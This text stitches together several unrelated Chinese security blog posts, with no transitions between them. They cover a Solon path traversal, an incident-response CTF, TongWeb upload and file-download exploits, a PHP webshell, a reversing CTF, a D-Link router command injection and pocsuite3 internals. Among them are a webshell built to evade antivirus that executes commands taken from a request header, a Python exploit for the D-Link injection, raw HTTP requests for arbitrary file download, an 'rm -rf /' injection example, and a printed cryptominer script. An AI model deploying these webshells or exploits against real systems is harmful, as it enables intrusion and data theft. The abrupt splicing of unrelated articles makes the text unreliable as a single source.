分析发现 Solon 框架在3.1.0版本上存在一个有意思的模板漏洞，对这个漏洞进行简单分析后，发现整个漏洞的利用链是非常有意思的。同时发现最新版的修复方式过于简单，询问 AI 后，AI 也认为修复也是不完善的安全修复，于是进行一系列的绕过尝试，最后还是没有利用成功，简单进行分享。

环境搭建

Solon 框架简介

Solon 是一个轻量级的 Java 应用开发框架，类似于 Spring Boot ，但更加轻量。支持多种模板引擎，包括 Beetl、FreeMarker、Velocity 等。在模板处理方面，Solon 采用了灵活的渲染器映射机制，也是出现这个漏洞的关键原因。

测试环境搭建

https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8

可以下载 solon 的项目模板 并进行修改

修改一下 pom.xml 文件 设置 solon 的版本为 3.1.0

将原本的视图插件 solon-view-freemarker 替换为以下的任意一种

<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon-view-enjoy</artifactId>
</dependency>

<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon-view-beetl</artifactId>
</dependency>

<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon-view-thymeleaf</artifactId>
</dependency>

<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon-view-velocity</artifactId>
</dependency>

‍

在 DemoController.java 中 添加代码 并启动运行

    @Mapping("/templates")
    public ModelAndView templates(Context ctx) throws IOException {
        ModelAndView modelAndView = new ModelAndView(ctx.param("templates"));
        return modelAndView;
    }

漏洞验证与分析

漏洞验证

我们选用视图插件solon-view-velocity，不同的视图插件对跨目录的处理有所不同，之后会对此进行详细解释

<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon-view-velocity</artifactId>
</dependency>

可以看到传入的参数通过 ../ 实现了跨目录的文件读取并将内容解析到页面上

核心调用链分析

通过调试对这个漏洞进行分析

遇到这种情况有一个小的 tips 我们可以通过尝试加载一个不存在的文件，这样 idea 的控制台中会输出相对详细的调用链，方便我们下断点进行调试分析。

org.noear.solon.core.handle.RenderManager#render

这里会根据文件后缀来选择视图插件，如果没有匹配的就选择用默认渲染器来处理

org.noear.solon.view.velocity.VelocityRender#render

org.noear.solon.view.velocity.VelocityRender#render_mav

org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)

org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource

‍

整体流程顺下来应该是

用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ 模板引擎处理

在模板引擎处理之前没有对模板文件的路径进行处理和限制，这样一来如果模板引擎处理的时候没有对模板文件的路径进行处理时，就会产生任意文件读取漏洞。

我们可以尝试看看利用别的视图插件看看效果如何。

solon-view-freemarker 为什么不可以

我们看到 freemarker 对 模板文件的路径进行了处理，不允许跨目录的访问

org.noear.solon.view.freemarker.FreemarkerRender#render

org.noear.solon.view.freemarker.FreemarkerRender#render_mav

freemarker.template.Configuration#getTemplate(java.lang.String, java.lang.String)

freemarker.template.Configuration#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean, boolean)

freemarker.cache.TemplateCache#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean)

调用 name = templateNameFormat.normalizeRootBasedName(name); 来对传入的模板文件名进行处理

freemarker.cache.TemplateNameFormat.Default020300#normalizeRootBasedName

对传入的参数进行规范化处理，以确保安全并处理路径中的特殊序列。

漏洞修复

org.noear.solon.core.handle.RenderManager#getViewRender

我们注意到修复方式是添加了这一部分代码

 if (mv.view().contains("../") || mv.view().contains("..\\")) {
            // '../','..\' 不安全
            throw new IllegalStateException("Invalid view path: '" + mv.view() + "'");
        }

看起来处理方式简单粗暴，实际上是非常有效的

用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ RenderManager.getViewRender()安全检测→模板引擎处理

在模板引擎处理之前就添加了对传入路径的检测，一次 url 编码无法绕过，两次 url 编码虽然可以绕过检测，但是实际处理时，找不到文件所在的位置，再加上并不是从根目录开始读取文件的，最前面还存在目录限制，所以这样一来就无法利用这个漏洞了。

题目描述：某某文化有限公司的运维小王刚刚搭建服务器发现cpu莫名的异常的升高请你帮助小王排查一下服务器，flag格式为：flag{CVE-2020-12345}

查看Administrator的桌面，存在CrushFTP

搜CrushFTP近期CVE漏洞

2 系统每天晚上系统都会卡卡的帮小明找到问题出在了那？

题目描述：flag为配置名称（无空格）

可能的原因分析

1. 计划任务（Task Scheduler）

• Windows 默认有一些维护任务（如 Defrag 碎片整理、WindowsUpdate 自动更新）可能在夜间运行。

• 检查 taskschd.msc（任务计划程序）中的任务。

2. Windows Update 自动更新

• WindowsUpdate 可能配置为夜间自动更新，占用大量资源。

3. 磁盘碎片整理（Defrag）

• 默认情况下，Windows 会定期进行磁盘优化（ScheduledDefrag）。

4. 防病毒扫描（Windows Defender 或第三方杀毒软件）

• 可能设置了夜间全盘扫描。

5. 资源占用高的服务

• 如 Superfetch（SysMain）、Windows Search 索引服务可能导致卡顿。

6. 虚拟内存（Pagefile）配置问题

• 如果虚拟内存设置不合理，可能导致系统变卡。

根据以上思路，找到了恶意的计划任务，如下图

sql backing up就是导致每晚卡顿的原因

• 知识：

C:\Windows\System32\Tasks 是 Windows 操作系统存储计划任务（Scheduled Tasks）的默认路径。

也可以通过 任务计划程序（taskschd.msc） 管理所有任务

3 恶意域名是什么？

题目描述：flag格式为：flag{xxx.xxxxxxxx.xxx}

查看计划任务调用的内容

这段代码是一个 XML 格式的操作指令，通常用于自动化任务或系统配置中。具体解释如下：

1. <Actions Context="Author"> 表示这是一个"作者上下文"的操作（可能是创建或设计阶段使用的操作）

2. <Exec> 执行命令的指令

3. <Command>"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwsmprovhost.vbs"</Command> 指定要执行的命令是运行位于 SQL Server 2005(版本90)共享目录下的一个 VBScript 文件

找到该路径下的sqlwsmprovhost.vbs文件，并查看，如下图

这段 VBScript 代码的功能是创建一个 WScript.Shell 对象，并运行一个名为 sqlwscript.cmd 的批处理文件（隐藏窗口运行）。具体解释如下：

//创建一个 WScript.Shell 对象，用于执行系统命令或运行程序
set ws = createobject("wscript.shell")  

//运行 "sqlwscript.cmd" 这个批处理文件，参数 `0` 表示隐藏窗口运行
ws.Run """sqlwscript.cmd""", 0  

1. WScript.Shell

• 是 Windows 脚本宿主（WSH）提供的对象，用于执行系统命令、操作注册表、运行程序等。

• 这里主要用于运行外部程序（.cmd 文件）。

2. ws.Run """sqlwscript.cmd""", 0

• Run 方法用于执行指定的程序或命令。

• """sqlwscript.cmd""" 的写法是因为 VBScript 需要用双引号包裹路径，而路径本身可能包含空格，所以用 "" 进行转义（相当于 "sqlwscript.cmd"）。

• 0 表示运行时不显示窗口（隐藏运行）。

然后，打开sqlwscript.cmd查看如下：

这段批处理脚本 (sqlwscript.cmd) 是一个 无限循环执行的挖矿脚本，通常用于 加密货币挖矿（可能是恶意挖矿程序）。以下是详细分析：

@echo off

• 关闭命令回显，使脚本运行时不会显示执行的命令（隐蔽执行）。

cd /d "%~dp0"

• 切换到脚本所在的目录（%~dp0 表示当前批处理文件的完整路径）。

• 确保脚本能正确访问同目录下的文件（如 sqlwpr.exe）。

:start

• 定义一个标签 :start，用于循环跳转。

sqlwpr.exe -a rx/0 --url b.oracleservice.top --user 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -t 0

• sqlwpr.exe 是一个 加密货币挖矿程序（可能是恶意软件）。

• 参数解析：

• -a rx/0：指定挖矿算法（RandomX，常用于门罗币 Monero/XMR 挖矿）。

• --url b.oracleservice.top：连接到的矿池服务器地址（矿工提交算力并获取奖励）。

• --user 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ：挖矿钱包地址（收益归攻击者所有）。

• -t 0：使用所有可用的 CPU 线程挖矿（最大化资源占用）。

goto start

• 跳回 :start 标签，形成无限循环，确保挖矿程序持续运行（即使崩溃也会重启）。

所以 恶意域名是矿池服务器地址

行为分析

1. 这是一个隐蔽的恶意挖矿脚本：

• 通过 @echo off 和隐藏窗口运行（结合之前的 VBScript）来避免被发现。

• 无限循环确保挖矿程序长期驻留。

2. 使用的技术：

• RandomX 算法（rx/0）通常用于 门罗币（XMR） 挖矿。

• 矿池地址 b.oracleservice.top 可能是攻击者控制的服务器。

• 钱包地址 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ 用于接收挖矿收益。

3. 影响：

• CPU 资源占用极高，导致系统变卡、发热增加。

• 长期运行会增加电费消耗，并可能缩短硬件寿命。

• 可能是通过木马或漏洞植入的（如恶意软件、钓鱼攻击等）。

应对措施

1. 立即终止恶意进程：

• 打开任务管理器（Ctrl+Shift+Esc），结束 sqlwpr.exe 和 wscript.exe 进程。

• 检查后台程序，关闭可疑项目。

2. 删除相关文件：

• 找到脚本所在目录（%~dp0），删除 sqlwscript.cmd 和 sqlwpr.exe。

• 检查启动项（msconfig 或 任务管理器 > 启动），移除恶意条目。

3. 安全防护：

• 使用杀毒软件（如 Windows Defender、Malwarebytes）全盘扫描。

• 检查系统是否被植入其他后门（如远控木马）。

4. 防止再次感染：

• 不要随意运行来历不明的脚本或程序。

• 保持系统和软件更新，修补安全漏洞。

4 疑似是什么组织发动的攻击？

题目描述：flag格式为：flag{123XXX}（无空格注意大小写）

搜索恶意域名，发现是8220挖矿组织

继续搜索8220挖矿组织，搜到其全名

最终 该组织为8220 Gang

5 攻击者C2服务器IP是什么？

题目描述：flag格式为：flag{123.123.123.123}

查看挖矿程序的上传时间，确定时间大概在2025.5.27 23:20:00左右

查询windows的安全日志，筛选 5156 事件（Windows 过滤平台放行连接），逐一查询这段时间之后powershell的出战痕迹

当然，也可以直接导出筛选日志进行关键词搜索

将已筛选的日志导出为txt文件，然后直接搜索powershell.exe关键词，找出可疑的出站目的IP地址，即为C2服务器IP

本文对该中间件部分公开在互联网，但未分析细节的漏洞，进行复现分析：

sysweb后台上传getshell：

在互联网搜索发现该版本存在sysweb后台文件下载，可惜却没有复现细节，且访问显示如下：

发现通过默认口令thanos/thanos123.com无法登录，且未发现任何相关的默认口令：

于是自己找到配置文件查看权限校验情况：

\sysweb\WEB-INF\web.xml：

发现配置情况如上，一切/*请求均需要admin权限才行，但目前互联网暂未发现任何其他相关权限账号，自己尝试admin相关弱口令也均为成功，于是继续寻找用户相关功能点：

点击安全服务--安全域管理：

点击该安全域：找到默认账户的thanos用户：

点击保存，查看数据包：

发现该账户的userRole为tongweb与sysweb要求的admin并不匹配，于是点击创建用户：

但并未发现可以随意设置用户的useRole，于是点击保存，并拦截数据包：

将空白的userRole设置为admin，并放包：

发现创建成功。于是尝试sysweb登录：

发现仅仅是如上页面，但是至少权限问题解决了。

接着返回sysweb的配置文件:

跟进分析：

发现未进行任何校验过滤，直接通过parseFileName()方法解析header获取文件名赋值给fileName。

构造如下文件上传数据包：

上传成功，shell加一：

任意文件下载漏洞：

默认账号密码:thanos/thanos123.com登录后台，在快照管理处存在下载功能点：

点击下载抓包查看：

下载文件打包成压缩包下载：

如上，疑似存在下载漏洞，跟进路由：

如上，先找到类级别的路径位置，注解表示由/rest/monitor/snapshots根路径发起的请求均会被该类处理。

随后再找到方法级别的路由位置，download的post请求均会被该方法处理：

可见该方法接收了前面数据包传输的参数filename，并赋值给snapshotname参数。

分析如上代码存在以下路径：

Path：根路径，由system.getProperty/temp/download组成

snapshotRootPath：由path/snapshotname组成。

随后进入AgentUtil.receiveFileOrDir()进行目标文件压缩，下载，且此处未进行任何校验：

但如果直接修改数据包filename进行任意文件下载依然会失败，因为紧接着代码进行了如下校验：

判断下载路径snapshotRootPath的父路径是否是path，也就是对snapshotname与path拼接后的路径进行校验，如果snapshotname值为../../或者为/a/b这种格式则无法通过校验，也就是限制了跨目录操作。

但回过头来查看具体下载操作：

是通过fileOrDir路径与snapshotRootPath进行文件下载的，查找location的值：

且发现location参数值可控：

于是先通过如下数据包修改location的值(修改为想任意下载的目录)：

POST /console/rest/monitor/snapshots/setLocation HTTP/1.1

Host: 192.168.73.130:9060

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0

Accept: application/json, text/javascript, \*/\*; q=0.01

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 36

Origin: http://192.168.73.130:9060

Connection: keep-alive

Referer: http://192.168.73.130:9060/console/rest

Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628;
DWRSESSIONID=858h23g\$aEjH1iqRz1jnGBLe3rp

snapshot_location=D%3A%5CTongWeb7.42

随后再进行下载：

POST /console/rest/monitor/snapshots/download HTTP/1.1

Host: 192.168.73.130:9060

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
Gecko/20100101 Firefox/139.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

Origin: http://192.168.73.130:9060

Connection: keep-alive

Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp

Cookie: console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5;
DWRSESSIONID=jvSHNTT66zO2\$Hjyb4sFS7vYdrp

Upgrade-Insecure-Requests: 1

Priority: u=4

filename=conf

如下，下载成功：

正当我饶有性质的开始复习 PHP 开发这个课程准备一天速通期末考试的时候，没想到有心栽花花不开，无心插柳柳成因，意外灵感突发，搞出了一个还算可以的免杀的 webshell，下面讲讲思路

起

当打开 php 复习考点的时候，发现还要考魔术方法，于是打开了好久没有翻过的 php 手册

魔术方法是一种特殊的方法，当对对象执行某些操作时会覆盖 PHP 的默认操作。

我们看了大多数魔术方法，都有自己会在某个契机出发

比如一些常规的

__construct(mixed ...$values = ""): void

PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法，所以非常适合在使用对象之前做一些初始化工作。

会在实例化一个类的时候触发这个方法

__destruct(): void

PHP 有析构函数的概念，这类似于其它面向对象的语言，如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

会在对象销毁的时候执行这个方法

于是我们可以利用这个思路来实现一个命令条件执行的方法

比如看下面的例子

<?php
class a{
    public function __construct()
    {
        system("calc");
    }
}
new a();

或者

<?php
class a{
    public function __destruct()
    {
        system("calc");
    }
}
new a();

都可以弹出计算器

所以我们可以借助这个思路

但是这两个函数还是太常见了

我们找找其他函数

承

于是开始找起来了

手册的方法都感觉太常规，而且都见过

首先需要免杀，那一定需要小众

不知道各位知不知道__debugInfo()这个魔术方法呢

下面介绍一下

__debugInfo(): array

当通过 var_dump() 转储对象，获取应该要显示的属性的时候，该函数就会被调用。如果对象中没有定义该方法，那么将会展示所有的公有、受保护和私有的属性。

下面是它的使用例子

<?php
class C {
    private $prop;

    public function __construct($val) {
        $this->prop = $val;
    }

    public function __debugInfo() {
        return [
            'propSquared' => $this->prop ** 2,
        ];
    }
}

var_dump(new C(42));
?>

我们按着改造一下

读懂了原理后我们尝试看看能不能执行命令

<?php

class C {
    private $prop;

    public function __construct($val) {
        $this->prop = $val;
    }

    public function __debugInfo() {
        return [
            'propSquared' => $this->prop ** 2,
        ];
        system("calc");
    }
}
var_dump(new C(42));
?>

但是并没有计算器弹出来，原来忘了 php 一个最基础的语法，return 后代码就不会执行了

但是尝试了还是不行，最后问 GPT 写了个例子看看环境是不是有问题

<?php

class User {
    private $username;
    private $password; // 敏感信息，不想输出

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __debugInfo() {
        return [
            'username' => $this->username,
            'info' => '这是调试时返回的信息',
            'timestamp' => time()
        ];
    }
}

$user = new User('alice', 'secret123');
var_dump($user); // 触发 __debugInfo()

输出应该是

object(User)#1 (3) {
  ["username"]=>
  string(5) "alice"
  ["info"]=>
  string(33) "这是调试时返回的信息"
  ["timestamp"]=>
  int(1725092384)
}

然后搜了很多，发现如果可能我们的 xdebug 配置会影响我们的这个输出，所以找了没有配置 xdebug 的

再次执行

可以看到已经有信息了

所以尝试执行命令

成功执行了命令

然后开始构造免杀 webshell

利用 SimpleXMLElement 解析 xml 文件来传入参数

终

最后搞出来的代码如下

<?php

class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __debugInfo() {
        $xmlData = base64_decode(end(getallheaders()));
        $xmlElement = new SimpleXMLElement($xmlData);
        $namespaces = $xmlElement->getNamespaces(TRUE);
        $xmlElement->rewind();
        var_dump($xmlElement->key());
        $result = $xmlElement->xpath('/books/system');
        var_dump (($result[0]->__toString()));
        ($xmlElement->key())($result[0]->__toString());
        return [
            'username' => $this->username,
            'info' => '这是调试时返回的信息',
            'timestamp' => time()
        ];
    }
}

$user = new User('alice', 'secret123');
var_dump($user);

这里因为我懒得搭建调试环境了，我们把 header 传入的值直接设置为

<books>
    <system>calc</system>
</books>

然后需要 base64 编码

<?php

class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __debugInfo() {
        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
        $xmlElement = new SimpleXMLElement($xmlData);
        $namespaces = $xmlElement->getNamespaces(TRUE);
        $xmlElement->rewind();
        var_dump($xmlElement->key());
        $result = $xmlElement->xpath('/books/system');
        var_dump (($result[0]->__toString()));
         ($xmlElement->key())($result[0]->__toString());
        return [
            'username' => $this->username,
            'info' => '这是调试时返回的信息',
            'timestamp' => time()
        ];
    }
}

$user = new User('alice', 'secret123');
var_dump($user);

成功弹出计算器

这里我为了方便直接把从 header 头传入值修改为直接写入了

首先实例化我们的 user 类

然后

var_dump($user);

在这个过程中，会触发__debugInfo

然后在这个过程中会解析 xml 数据

通过 SimpleXMLElement 的方法去截取我们需要的字符串，从而来构造一个命令执行

最后构造出我们的 webshell

长亭

微步

VIRUSTOTAL

看一下老外的比赛跟我们有什么不同，然后我根据国内比赛对比发现，他们考点还是很有意思的，反正都是逆向，哈哈哈

Rusty Vault

题目描述：

In the heart of an abandoned shrine, there's an old, rusted vault saidto guard an unspeakable secret. Many have tried to unlock it, but thedoor's demands are strange and no key seems to fit.

进入main函数，开始分析

这个命名方式，大概率是Rust语言

对于rust语言逆向，一般采用动态调试分析的方法

主要还是看汇编，因为F5根本看不出来啥东西。。。

从if比较处，可以看到成功和失败两个结果

那么这个比较绝对很关键

进入后发现，啥也没啊？

坏了，得看汇编，为代码估计又出问题了

发现了check2，果然为代码啥也看不到

对比check1-2

发现是在检测输入的字符串的字符类型，还是冲突的，不管了继续分析

下面可以看到失败

往下滑动可以看到成功

什么意思？

我猜测这题是改条件，然后动态输出flag？还有这好事

后面都是正常输出flag了

那么我们现在去解密的地方回溯，估计我要改一些判断，改变流程，让程序正常走到解密的地方，然后输出flag

教大家一个回溯方法

对标签疯狂X键，交叉引用定位回溯

最终定位到密文，发现是aes_128_cbc模式

需要：key+IV+密文=明文

这是一种思路，大家可以尝试

本文修改流程，让他自动输出明文

现在的思路就是：

x键回溯定位关键标签，修改关键判断

让程序自动走向解密

nop掉check1 和 check2

让他们走向自动解密的方向

最终运行程序得到flag，静态patch流程，绕过check1-chekc2

apoorvctf{P4tch_1t_L1k3_1t's_HOt}

这在我们国内比赛还是很少见到的，国内大概率要写脚本解密，或许国内认为加密才是CTF的重点。国外侧重逆向本身，如果可以patch修改流程得到flag，为什么要去写解密脚本呢？

锻炼了我们通过汇编分析程序流程的能力，而不是为代码一键分析。

D-Link DIR-823G v1.02 B05存在命令注入漏洞，攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求，执行任意的操作系统命令。

漏洞分析

binwalk提取固件，成功获取到固件。

现在我们已经进入到应用里了，那么我们在进行分析固件的时候，应该怎么去分析这个情况？首先，我们去分析别人的漏洞，别人是会告诉哪里会出现问题。但是我们现在假设我们是分析一个未知固件，我们就得先知道这个固件有哪些应用，启动了哪些服务，最清晰和简便的方式就是去看我们etc文件下面，里面有个叫init.d的目录，里面是关于启动项的内容。

我们首先来看rcS下面的内容 vim rcS

首先是设置ip，然后挂载了两个文件系统分别是proc，这是与进程相关的文件系统，包括当前进程启动存放在哪个地址。

还有ramfs文件系统，根据以前的笔记，可知ramfs文件系统跟RAM相关。

然后下面就是判断是否还有挂载别的文件系统。

然后mkdir就是创建各种各样的文件夹，都有对应的功能，比如说创建了pptp文件夹，针对拨号上网的功能，然后还有smbd服务，可以看到创建了一个usb的文件夹，说明该固件有可以跟usb也就是U盘相关的操作，接下来都是一些配置信息。

继续往下翻

可以看到该固件启动了web server的web服务，也就是httpd的内容，这里启动的是goahead，通过这个名字，我们可以确定web服务就是goahead，如果想要分析web服务的话，就直接分析goahead就可以。

我们回到squashfs-root目录下，搜索goahead的一些简单情况

grep -ir "goahead" .

最下面是两个启动项的内容，可以忽略，然后第一行是bin的可执行应用，这个其实就是我们最后分析的内容。

那如何分析呢？它是一个HNAP1请求，那就可以去检索我们的HANP1请求

grep -ir "HNAP1" .

可以看到它检索到一些js代码，js代码对我们来说一般，(比较我们是找二进制相关的漏洞)

但是，我们可以发现它匹配了一个二进制程序，也就是goahead。

这里我们先科普一下goahead的一些情况：

GoAhead ，它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer。

goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数。

它在进行编写与它相关的请求，是通过websUrlHandlerDefine来确定的。

websUrlHandlerDefine(T("/HNAP1")，NULL,0, websHNAPHandler,0);
websUrlHandlerDefine(T("/goform")，NULL,0, websFormHandler,0);
websUrlHandlerDefine(T("/cgi.bin")，NULL,0, websCgiHandler,0);

使用ghidra进行逆向分析，goahead二进制文件在squashfs-root目录下的bin目录下

那进入到goahead反编译界面该如何分析呢？一种是找到main函数去进行分析，比较耗时

一种是通过关键字来搜索，反推调用情况，来推测每个功能的解析情况 ctrl+shift+E

匹配成功，停在指定区域

但是它所对应的反编译代码还是很多的，所以我们可以通过反编译出来的函数名，进行查看它的调用关系。

一路往下翻，终于找到我们所要的东西

而且我们看到，这个函数继续往上调的话就是main函数了，所以其实一开始也是可以从main函数来分析的(0.0)

所以现在我们可以重点来分析这个函数

前面还是做一些判断，然后请求还有不止HNAP1，对应的都是一个函数。

同一个函数做的事情，类似于websUrlHandlerDefine这个函数，那HANP1对应的函数是

FUN_0042383c，那就双击进去看看

这里就是漏洞点，这里执行了memset和snprintf，一般来说这里应该是不存在漏洞点，但是下面一条语句是system，也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去，而snprintf这里的参数有个echo，有个单引号问题。

比如说正常代码

#!/bin/bash
read -p "Enter your name: " name
echo 'Hello, '$name'!'

攻击步骤：

正常输入：用户输入 Alice，输出：

Hello, Alice!

恶意输入：用户输入 '$(id)'，此时脚本实际执行的命令变为：

echo 'Hello, ''$(id)'!'

输出：

Hello, $(id)!

单引号内的 $(id) 不会被执行，暂时安全。

更危险的输入：用户输入 ' && rm -rf / #，命令变为：

echo 'Hello, '' && rm -rf / #'!

此时，第一个单引号被用户输入的 ' 闭合。&& rm -rf / 成为独立命令，在 echo 之后执行。# 注释掉后续的 '!，避免语法错误。

那么会导致rm -rf / 会被执行，删除系统文件！

所以，如果我们构造一些恶意的代码写入到snprintf中，再传递到system函数，就会造成命令注入漏洞。

但是我们要进到漏洞点的话，还需要满足函数上面的一些要求。

所以我们得符合上面函数的一些限制才能进入到漏洞点来，这里先取了PTR_s_SetMultipleActions_00588d80的首地址，赋值给DAT_0058a6c4，然后DAT_0058a6c4自身判断和自加2来进行循环判断，用strstr函数查找DAT_0058a6c4在param_+0x524中出现的位置，并赋值给pcVar1，如果pcVar1的值不为0的话，就会进入到我们的漏洞点来。

DAT_0058a6c4与PTR_s_SetMultipleActions_00588d80相关，双击进去看看

可以看到里面都是它对应的一些方法，比如说SetMultipleActions之类的。

固件模拟

分析到这里，基本上是明朗了，接下来就要进行固件模拟操作，使用firmadyne模拟固件启动。

sudo ./DIR823G_V1.0.2B05_20181207.sh

然后firmadyne默认的密码就是firmadyne

得等一段时间，然后192.168.0.1

但是这个一直搞不定，模拟不起来，也不知道是什么原因，排查不出。

然后换成了firmware analysis plus (fap)这个框架，就模拟起来了

等一段时间后，回车，就可以模拟起来了，输入192.168.0.1

进入向导，随便输入点东西

密码8位，输入12345678

然后就开始配置一些内容，同时可以注意到左侧已经把一些数据写入到关键的文件夹中

配置完毕，登录，成功进入路由器

exp编写

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

ip='192.168.0.1'

command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
length=len(command)

headers=requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"]="text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"

payload=command
r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)

因为是http请求，所以我们使用requests，然后设置ip，设置命令，构造报头，最后post请求将HNAP1，headers和payload都传过去。

复现完毕，ctrl+a 然后x结束固件模拟。

项目结构

api：对要导入的包重命名，方便后续导入调用data：存储用户需要使用的文档数据lib：项目核心代码modules：存储用户自定义的模块plugins：存储用户自定义的插件pocs：存储poc文件shellcodes：存储生成php，java，python等脚本语言的利用代码，以及反弹shell的利用代码cli.py：项目的入口console.py：命令行界面

进入项目入口：/pocsuite3/cli.py

check_environment() #检查当前工作目录是否符合当前系统set_paths(). #设置后续需要用到的数据，目录信息banner() #打印命令行页面的横幅

init_options(cmd_line_parser().dict) # 命令行参数处理跟进cmd_line_parser()查看：

此处注意一个参数-c

target.add_argument("-c", dest="configFile", help="Load options
from a configuration INI file")

可以先在pocsuite.ini配置好参数，通过pocsuite -c pocsuite.ini 运行

双重跟进init_options()，找到命令行存储参数：

可见采用了类似字典的形式存储，避免了重复数据且还有其它四个参数也采用了该形式存储，五个参数贯穿整个项目

conf：存储基本配置信息kb：存储了目标地址、加载的PoC、运行模式、输出结果、加载的PoC文件地址、多线程信息等cmd_line_options：是存储命令行输入的参数值merged_options：存储输入值与默认值合并后的结果paths：存储数据、插件、poc等目录地址

参数获取处理完后，进入项目初始化，init()函数，一下对部分函数进行注解分析：

def init():

"""

Set attributes into both configuration and knowledge base singletons

based upon command line and configuration file options.

"""

set_verbosity() #日志输出级别设置

_adjust_logging_formatter() #调整日志格式器

_cleanup_options() #将各个配置项格式化，并校验合法性

_basic_option_validation() #校验seebug,zoomeye等api,token的合法性

_create_directory() #检测文件路径是否存在，不存在则创建

_init_kb_comparison()

update()

_set_multiple_targets() #读取目标

_set_user_pocs_path()

_set_pocs_modules() #动态加载poc

_set_plugins() #动态加载插件

_init_targets_plugins()

_init_pocs_plugins()

_set_task_queue() #初始化多线程设置

_init_results_plugins() #初始化输出插件

AttribDict类解析

前文也提到过以下五个全局变量，它们均通过创建AttribDict类的实例进行使用，现在我们跟进类详细分析：

AttribDict()类：

自定义类，继承自python内建的OrderedDict类，扩展访问方式，简化了对字典键的访问。主要存在三个方法：getattr(),setattr(),delattr()这三个方法在if判断逻辑均相同：1:以双下划线 __ 开头（例如，Python 的内置属性，如 dict）。2:以 _OrderedDict__ 开头（因为 OrderedDict在内部实现中使用的名称）。3:名字存在于 exclude_keys 集合中（排除的键）。如果任一条件成立，说明这个属性不应该通过 obj.attr访问，所以跳过使用自定义的 getattr处理，直接调用父类对应的方法访问。例：getattr()就调用父类的getattribute()访问

如果属性名不满足，则通过字典的方式，添加或者删除AttribDict中

地址处理代码分析

先查看存储初始数据，存在则进行下一步。通过set()创建集合方便去重，再遍历conf.url数据，通过parde_target()进行对url进行分析处理，并且在不为空的情况下调用集合的add()方法添加，完成后再将，用于临时存储的target集合里面的数据，放到kb这种全局变量内。parde_target()函数

接受参数后先if判断，如果是域名，url，ip:端口形式则直接赋值给target跟进其中一个判断函数：

跟进：

可见是通过正则进行判断。接着再判断如果为http://ipv6形式，则启动ipv6配置，并进行赋值target，依旧是正则判断。

再判断如果为ipv4则调用python内置ip_address解析赋值，该方法自动区分ipv4或者ipv6并最后返回对应的对象。再通过else判断，对纯ipv6地址，或者ipv6网络进行解析赋值。

动态poc加载

Step1：从pocs目录加载先通过os.listdir读取对应目录，返回一个含有poc的py文件的列表。再通过filter()函数过滤init.之类文件，不过此时filter()函数返回的是一个迭代器，所以又通过list()函数将数据处理成列表再赋值。（lambda x: x not in ['init.py','init.pyc']：这个匿名函数会检查每个文件名 x 是否不等于'init.py' 或 'init.pyc'。）

再从含有类似thinkphp_poc.py的文件名中，通过x变量循环读取，并通过splitex()函数将其分为"thinkphp_poc",".py"格式的键值队元组。再次通过dict()字典函数，将x元组的第一个元素作为字典的键，第二个元素作为字典的值。

